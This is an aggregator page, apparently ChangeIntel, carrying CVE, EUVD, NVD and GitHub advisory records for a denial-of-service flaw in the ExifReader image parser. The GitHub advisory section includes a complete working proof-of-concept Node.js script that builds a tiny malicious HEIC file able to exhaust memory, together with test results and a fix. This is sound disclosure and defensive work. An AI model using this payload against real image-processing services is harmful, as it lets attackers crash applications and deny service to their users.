Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 274/275 feeds/APIs · 468/469 docs · 8/9 advisories · checked 02:22 UTC Customize Public modeDiscuss ChangeIntel on Discord

ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-85715

Published

ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.

Source published
17 Sep 2026 15:33:02 UTC
Source modified
17 Sep 2026 15:54:27 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2026-81897

Published

ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 17, 2026, 3:33:02 PM

dateUpdated: Sep 17, 2026, 3:54:27 PM

Source published
Sep 17, 2026, 3:33:02 PM (timezone not stated)
Source modified
Sep 17, 2026, 3:54:27 PM (timezone not stated)
Observed here
11 Nov 2026 17:01:55 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

nvd · CVE-2026-85715

Published

ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Awaiting Analysis

Weakness classifications: CWE-789 · CWE-835

Original publisher date fields

published: 2026-09-17T16:18:15.790

lastModified: 2026-09-30T17:51:36.337

Source published
17 Sep 2026 16:18:15 UTC
Source modified
30 Sep 2026 17:51:36 UTC
Observed here
25 Oct 2026 16:19:16 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-pj96-35fp-cfcc

Published

## Summary ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious `iloc` box. When `offsetSize`, `lengthSize`, and `baseOffsetSize` are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to `itemCount × extentCount` (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error. ## Affected version tested - npm package: `exifreader` - Version: `4.41.0` - Affected formats: HEIC, AVIF (ISO-BMFF container) ## Root cause **File:** `src/image-header-iso-bmff-iloc.js`, lines 79–116, function `getItems()`. The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15): | Field | Controls | |-------|----------| | `offsetSize` | Bytes per extent offset | | `lengthSize` | Bytes per extent length | | `baseOffsetSize` | Bytes per item base offset | | `indexSize` | Bytes per extent index | The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size: ```javascript for (let j = 0; j < item.extentCount; j++) { const extent = {}; extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize); offset += sizes.item.extent.extentIndex; // 0 when indexSize=0 extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize); offset += sizes.item.extent.extentOffset; // 0 when offsetSize=0 extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize); offset += sizes.item.extent.extentLength; // 0 when lengthSize=0 item.extents.push(extent); // allocates unconditionally } ``` When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto `item.extents`. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero. ## Reproduction Save the following as `poc_iloc_dos.js` and run with Node.js against the bundled `dist/exif-reader.js`: ```javascript const fs = require('fs'); const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js'); function u32be(n) { return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255]; } function u16be(n) { return [(n >>> 8) & 255, n & 255]; } function str(s) { return Array.from(Buffer.from(s, 'ascii')); } function box(type, content) { return [...u32be(8 + content.length), ...str(type), ...content]; } const ITEMS = 10000; const EXTENTS = 65535; const ftyp = box('ftyp', [ ...str('heic'), ...u32be(0), ...str('mif1'), 0, 0, 0, 0, ]); const ilocPayload = [ 0, 0, 0, 0, 0, 0, ...u16be(ITEMS), ]; for (let i = 0; i < ITEMS; i++) { ilocPayload.push(...u16be(i + 1)); ilocPayload.push(...u16be(0)); ilocPayload.push(...u16be(EXTENTS)); } const iloc = box('iloc', ilocPayload); const meta = box('meta', [0, 0, 0, 0, ...iloc]); const data = Uint8Array.from([...ftyp, ...meta]); fs.writeFileSync('/tmp/poc_iloc_dos.heic', data); console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`); const start = Date.now(); const timeout = setTimeout(() => { console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`); process.exit(1); }, 30000); try { ExifReader.load(data.buffer); clearTimeout(timeout); console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`); } catch (e) { clearTimeout(timeout); console.log(`Error: ${e.message}`); } ``` ### Scaled test results Run the above with different ITEMS values: | Items | File size | Extent objects | Parse time | Heap growth | |-------|-----------|---------------|------------|-------------| | 1 | 58 bytes | 65,535 | 0.03s | +4 MB | | 5 | 82 bytes | 327,675 | 0.17s | +16 MB | | 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB | | 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash | | 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) | <img width="1839" height="588" alt="image" src="https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02" /> ## Expected behavior A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either: 1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or 2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget). ## Security impact This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected. **Note:** The impact is established using ExifReader's existing distributed (`dist/exif-reader.js`) code. ## Suggested fix In `src/image-header-iso-bmff-iloc.js`, in the `getItems()` function, add a maximum per-item extent limit: ```javascript const MAX_EXTENTS_PER_ITEM = 10000; for (let j = 0; j < item.extentCount; j++) { if (item.extents.length >= MAX_EXTENTS_PER_ITEM) { break; } // ... existing code ... } ``` Alternatively (or additionally), skip the inner loop when all extent field sizes are zero: ```javascript if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) { // Fields are absent per spec; nothing meaningful to read // Still advance offset if extentCount > 0 to maintain correctness continue; } ```

Source published
17 Sep 2026 16:30:00 UTC
Source modified
17 Sep 2026 16:45:06 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 12 Nov 02:22 UTC · 274 of 275 readable · 272 fully read · documentation 468/469 current